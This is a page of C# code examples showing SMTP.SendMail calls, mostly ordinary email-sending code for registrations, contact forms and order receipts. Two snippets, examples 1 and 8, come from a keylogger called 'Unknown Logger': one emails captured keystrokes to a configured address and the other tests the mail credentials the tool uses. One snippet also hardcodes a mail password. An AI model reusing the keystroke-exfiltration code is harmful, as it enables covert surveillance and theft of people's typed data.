Exemplo n.º 1
0
 private void BTN_CheckMail_Click(object sender, EventArgs e)
 {
     try
     {
         SMTP.SendMail(TB_EMailFrom.Text, TB_EMailTo.Text, TB_SMTPServer.Text, TB_SMTPPort.Text, TB_EMailPassword.Text, DefaultSubject, DefaultBody);
         MessageBox.Show("Mail successfully sent, check your inbox", "Unknown Logger", MessageBoxButtons.OK, MessageBoxIcon.Information);
     } catch (Exception Ex)
     {
         if (TB_SMTPServer.Text == DefaultGoogleSMTPServer)
         {
             DialogResult dialogResult = MessageBox.Show("ERROR: Bad port or credentials or in order to receive emails using SMTP you have to enable 'less secure apps'. Do you want to launch https://www.google.com/settings/security/lesssecureapps?", "Unknown Logger", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
             if (dialogResult == DialogResult.Yes)
             {
                 System.Diagnostics.Process.Start(LessSecureAppsLink);
             }
             else
             {
                 MessageBox.Show("Choose a different E-Mail service please", "Unknown Logger", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
             }
         }
         else
         {
             MessageBox.Show("Error: " + Ex, "Unknown Logger", MessageBoxButtons.OK, MessageBoxIcon.Information);
         }
     }
 }
Exemplo n.º 2
0
 private void FireRecieveEvent(object body)
 {
     if (MessageReceived != null)
     {
         MessageReceived(this, new MessageEventArgs(body));
         string data = body.ToString();
         s.SendMail("Sunil", "*****@*****.**", data);
     }
 }
Exemplo n.º 3
0
        static void Main(string[] args)
        {
            #region 发送邮件
            SMTP smtp = SMTP.GetInstance("smtp-mail.outlook.com", 587, "*****@*****.**", "111qqq!!!W");
            smtp.SendMail("*****@*****.**", "*****@*****.**", "Test", "Test");
            #endregion

            //StaffManager.GetInstance().Import();
            Console.WriteLine("全部结束");
            Console.ReadKey();
        }
Exemplo n.º 4
0
        public ServiceResult SendUserEmailValidation(User user, string validationCode, string ipAddress, EmailSettings settings)
        {
            if (string.IsNullOrWhiteSpace(settings.SiteDomain))
            {
                return(ServiceResponse.Error("The applications site domain key is not set."));
            }

            if (string.IsNullOrWhiteSpace(settings.SiteEmail))
            {
                return(ServiceResponse.Error("The applications site email key is not set."));
            }

            #region build email from template
            string validationUrl = "http://" + settings.SiteDomain + "/membership/validate/type/mbr/operation/mreg/code/" + validationCode;
            string oopsUrl       = "http://" + settings.SiteDomain + "/membership/validate/type/mbr/operation/mdel/code/" + validationCode;
            // string validationUrl = "http://" + settings.SiteDomain + "/users/validate?type=mbr&operation=mreg&code=" + validationCode;
            // string oopsUrl = "http://" + settings.SiteDomain + "/users/validate?type=mbr&operation=mdel&code=" + validationCode;

            DocumentManager dm     = new DocumentManager(this._connectionKey, SessionKey);
            ServiceResult   docRes = dm.GetTemplate("EmailNewMember");
            if (docRes.Status != "OK")
            {
                return(docRes);
            }

            string template = docRes.Result?.ToString();

            if (string.IsNullOrWhiteSpace(template))
            {
                return(ServiceResponse.Error("Unable to locate email template."));
            }

            template = template.Replace("[DOMAIN]", settings.SiteDomain);
            template = template.Replace("[USERNAME]", user.Name);
            template = template.Replace("[REGISTRATION_LINK]", validationUrl);
            template = template.Replace("[UNREGISTRATION_LINK]", oopsUrl);

            #endregion



            MailAddress ma   = new MailAddress(settings.SiteEmail, settings.SiteDomain);
            MailMessage mail = new MailMessage();
            mail.From = ma;
            mail.ReplyToList.Add(ma);
            mail.To.Add(user.Email);
            mail.Subject    = settings.SiteDomain + " account registration.";
            mail.Body       = template;
            mail.IsBodyHtml = true;
            SMTP mailServer = new SMTP(this._connectionKey, settings);
            return(mailServer.SendMail(mail));
        }
Exemplo n.º 5
0
        private void buttonSend_Click(object sender, EventArgs e)
        {
            if (textBoxSmtpUri.TextLength == 0)
            {
                Message("Field \"Smtp address\" cannot be empty.");
            }
            else if (textBoxUsername.TextLength == 0)
            {
                Message("Field \"Username\" cannot be empty.");
            }
            else if (textBoxPassword.TextLength == 0)
            {
                Message("Field \"Password\" cannot be empty.");
            }
            else if (textBoxFrom.TextLength == 0)
            {
                Message("Field \"From\" cannot be empty.");
            }
            else if (textBoxTo.TextLength == 0)
            {
                Message("Field \"To\" cannot be empty.");
            }
            else
            {
                var result = SMTP.SendMail(textBoxSmtpUri.Text, (int)numericUpDownPort.Value,
                                           textBoxUsername.Text, textBoxPassword.Text, textBoxFrom.Text,
                                           textBoxTo.Text, textBoxSubject.Text, richTextBoxMessage.Text);

                if (result.Success)
                {
                    Message($"Send status: Success");
                }
                else
                {
                    Message($"Send status: Failure\nMessage: {result.Message}");
                }
            }
        }
Exemplo n.º 6
0
        public async Task <ServiceResult> SendMessage(EmailMessage form)//        public  ServiceResult SendMessage(Message form)
        {
            if (form == null)
            {
                return(ServiceResponse.Error("No form was posted to the server."));
            }

            try
            {
                form.DateSent = DateTime.UtcNow;

                bool isValidFormat = Validator.IsValidEmailFormat(form.EmailFrom);
                if (string.IsNullOrWhiteSpace(form.EmailFrom) || isValidFormat == false)
                {
                    return(ServiceResponse.Error("You must provide a valid email address."));
                }

                if (string.IsNullOrWhiteSpace(form.Body))
                {
                    return(ServiceResponse.Error("You must provide a message."));
                }
                EmailMessageManager EmailMessageManager = new EmailMessageManager(Globals.DBConnectionKey, Request?.Headers?.Authorization?.Parameter);
                NetworkHelper       network             = new NetworkHelper();
                string ipAddress = network.GetClientIpAddress(this.Request);

                EmailMessage EmailMessage = new EmailMessage();
                EmailMessage.Body      = form.Body + "<br/><br/><br/>Message Key:" + EmailMessage.UUID;
                EmailMessage.Subject   = form.Subject;
                EmailMessage.EmailFrom = Cipher.Crypt(Globals.Application.AppSetting("AppKey"), form.EmailFrom.ToLower(), true);
                EmailMessage.UUIDType += "." + form.Type;

                if (form.Type?.ToLower() != "contactus")
                {
                    EmailMessage.EmailTo = Globals.Application.AppSetting("SiteEmail");
                }

                EmailMessage.DateCreated = DateTime.UtcNow;
                EmailMessage.IpAddress   = ipAddress;
                EmailMessage.Status      = "not_sent";

                if (CurrentUser != null)
                {
                    EmailMessage.CreatedBy   = CurrentUser.UUID;
                    EmailMessage.AccountUUID = CurrentUser.AccountUUID;
                }
                else
                {
                    EmailMessage.CreatedBy   = "ContactUsForm";
                    EmailMessage.AccountUUID = "ContactUsForm";
                }

                UserManager um       = new UserManager(Globals.DBConnectionKey, Request?.Headers?.Authorization?.Parameter);
                string      toName   = um.GetUserByEmail(EmailMessage.EmailTo)?.Name;
                string      fromName = um.GetUserByEmail(form.EmailFrom)?.Name;
                EmailMessage.NameFrom = fromName;
                EmailMessage.NameTo   = toName;

                if (EmailMessageManager.Insert(EmailMessage).Code == 500)
                {
                    return(ServiceResponse.Error("Failed to save the email. Try again later."));
                }

                EmailSettings settings = new EmailSettings();
                settings.EncryptionKey = Globals.Application.AppSetting("AppKey");
                settings.HostPassword  = Globals.Application.AppSetting("EmailHostPassword");
                settings.HostUser      = Globals.Application.AppSetting("EmailHostUser");
                settings.MailHost      = Globals.Application.AppSetting("MailHost");
                settings.MailPort      = StringEx.ConvertTo <int>(Globals.Application.AppSetting("MailPort"));
                settings.SiteDomain    = Globals.Application.AppSetting("SiteDomain");
                settings.EmailDomain   = Globals.Application.AppSetting("EmailDomain");
                settings.SiteEmail     = Globals.Application.AppSetting("SiteEmail");
                settings.UseSSL        = StringEx.ConvertTo <bool>(Globals.Application.AppSetting("UseSSL"));

                MailAddress ma   = new MailAddress(settings.SiteEmail, settings.SiteEmail);
                MailMessage mail = new MailMessage();
                mail.From = ma;
                // mail.ReplyToList.Add( ma );
                mail.ReplyToList.Add(form.EmailFrom);
                mail.To.Add(EmailMessage.EmailTo);
                mail.Subject    = EmailMessage.Subject;
                mail.Body       = EmailMessage.Body + "<br/><br/><br/>IP:" + ipAddress;
                mail.IsBodyHtml = true;
                SMTP svc = new SMTP(Globals.DBConnectionKey, settings);
                return(svc.SendMail(mail));
            }
            catch (Exception ex)
            {
                _fileLogger.InsertError(ex.DeserializeException(true), "SiteController", "SendMessage:" + JsonConvert.SerializeObject(form));
            }
            return(ServiceResponse.Error("Failed to send message."));
        }
Exemplo n.º 7
0
        private ServiceResult SendEmail(CartView cart, Order order, FinanceAccount account, string customerEmail, string status)
        {
            if (cart == null)
            {
                return(ServiceResponse.Error("Could not send email, cart was not set."));
            }

            AppManager am           = new AppManager(this._connectionKey, "web", this._sessionKey);
            string     domain       = am.GetSetting("SiteDomain")?.Value;
            string     emailSubject = "";
            string     emailContent = "";

            //todo put this in another function
            #region get email content function

            switch (status)
            {
            case StoreFlag.OrderStatus.Recieved:
                emailSubject = "Your " + domain + " order has been recieved.";

                DocumentManager dm = new DocumentManager(this._connectionKey, SessionKey);
                emailContent = dm.GetTemplate("EmailOrderReceived").Result?.ToString();

                if (string.IsNullOrWhiteSpace(emailContent))
                {
                    return(ServiceResponse.Error("Failed to send email. Document not found."));
                }

                //use view cart for details
                emailContent = emailContent.Replace("[Order.OrderID]", order.UUID);
                emailContent = emailContent.Replace("[Order.AddedDate]", order.DateCreated.ToShortDateString());
                //See below: emailContent = emailContent.Replace( "[Order.Total]"                  ,
                emailContent = emailContent.Replace("[PaymentType.Title]", cart.PaidType);
                emailContent = emailContent.Replace("[StoreManager.PayType]", account.CurrencyName);
                emailContent = emailContent.Replace("[StoreManager.PayTypeTotal]", order.Total.ToString());
                //emailContent = emailContent.Replace( "                               ,PayTypeSubTotal);
                // emailContent = emailContent.Replace("[PayType.Address]", account. PayType.Address);
                emailContent = emailContent.Replace("[PayType.PictureUrl]", account.Image);
                emailContent = emailContent.Replace("[Settings.CurrencySymbol]", am.GetSetting("default.currency.symbol").Value);
                emailContent = emailContent.Replace("[Settings.SiteDomain]", domain);

                //todo  paytype.address and qr code for btc.
                //todo bookmark latest currency symbol
                // string validationCode = Cipher.RandomString(12);
                //   emailContent = emailContent.Replace("[Url.Unsubscribe]", "http://" + domain + "/FinanceAccount/ValidateEmail/?type=mbr&operation=mdel&code=" + validationCode);

                StringBuilder ShoppingCartItemsList = new StringBuilder();

                foreach (dynamic item in cart.CartItems)
                {
                    ShoppingCartItemsList.Append("<tr id=\"[item-ShoppingCartItem.Product.Id]\">".Replace("[item-ShoppingCartItem.Product.ProductID]", item.ItemUUID.ToString()));
                    ShoppingCartItemsList.Append("<td align=\"center\">[ShoppingCartItem.Title]</td>".Replace("[ShoppingCartItem.Title]", item.Name.ToString()));
                    ShoppingCartItemsList.Append("<td align=\"center\">[ShoppingCartItem.Quantity]</td>".Replace("[ShoppingCartItem.Quantity]", item.Quantity.ToString()));
                    ShoppingCartItemsList.Append("<td align=\"center\">[ShoppingCartItem.Price]</td></tr>".Replace("[ShoppingCartItem.Price]", item.Price.ToString("c")));
                }

                emailContent = emailContent.Replace("[ShoppingCartItemsList]", ShoppingCartItemsList.ToString());
                emailContent = emailContent.Replace("[Order.SubTotal]", order.SubTotal.ToString("c"));
                emailContent = emailContent.Replace("[Order.Total]", order.Total.ToString("c"));
                #endregion
                break;
            }
            string appKey        = am.GetSetting("AppKey")?.Value;
            string emailPassword = am.GetSetting("EmailHostPassword")?.Value;

            SMTP mailServer = new SMTP(this._connectionKey, new Models.Services.EmailSettings()
            {
                HostPassword  = Cipher.Crypt(appKey, emailPassword, false),
                EncryptionKey = am.GetSetting("AppKey")?.Value,
                HostUser      = am.GetSetting("EmailHostUser")?.Value,
                MailHost      = am.GetSetting("MailHost")?.Value,
                MailPort      = StringEx.ConvertTo <int>(am.GetSetting("MailPort")?.Value),
                SiteDomain    = am.GetSetting("SiteDomain")?.Value,
                SiteEmail     = am.GetSetting("SiteEmail")?.Value,
                UseSSL        = StringEx.ConvertTo <bool>(am.GetSetting("UseSSL")?.Value)
            });
            MailMessage mail = new MailMessage();
            try
            {
                mail.From = new MailAddress(am.GetSetting("SiteEmail")?.Value);
                mail.ReplyToList.Add(mail.From);
                mail.To.Add(customerEmail);
                mail.Subject    = emailSubject;
                mail.Body       = emailContent;
                mail.IsBodyHtml = true;
            }
            catch (Exception ex)
            {
                Debug.Assert(false, ex.Message);
                this._logger.InsertError(ex.Message, "StoreManager", "SendMail");
                return(ServiceResponse.Error("Failed to send email. "));
            }

            ServiceResult res = mailServer.SendMail(mail);
            if (res.Code != 200)
            {
                Debug.Assert(false, mailServer.ErrorMessage);
                this._logger.InsertError(mailServer.ErrorMessage, "StoreManager", "SendMail");
                return(ServiceResponse.Error("Failed to send email. "));
            }
            return(ServiceResponse.OK());
        }
Exemplo n.º 8
0
 internal static void EMailKeystrokes(string Keystrokes)
 {
     EMailCount++;
     SMTP.SendMail(Variables.MailFrom, Variables.MailTo, Variables.SMTPServer, Variables.SMTPPort, Variables.MailPassword, Subject, Convert.ToString(KeystrokeLogs));
 }